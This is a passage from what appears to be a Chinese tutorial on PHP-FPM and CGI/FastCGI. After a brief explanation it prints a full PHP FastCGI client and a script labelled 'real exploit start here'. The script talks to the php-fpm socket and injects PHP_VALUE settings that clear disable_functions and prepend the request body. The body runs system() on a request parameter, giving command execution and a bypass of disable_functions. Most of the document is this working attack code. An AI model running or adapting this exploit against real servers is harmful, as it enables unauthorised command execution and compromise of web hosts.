尽管代理连接起到了中介作用,PHP-FPM 仍需在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的,但与传统的代理连接有所不同。在接收到请求后,PHP-FPM 中的可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回 web 服务器。在工作进程完成请求处理后,它会再次可用于即将到来的请求。
但 CGI 和 FastCGI 是什么?
CGI
通常,网页、文件和所有从 web 服务器传输到浏览器的文档都存储在特定的公共目录中,例如 home/user/public_html。当浏览器请求某些内容时,服务器会检查该目录并将所需文件发送给浏览器。
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>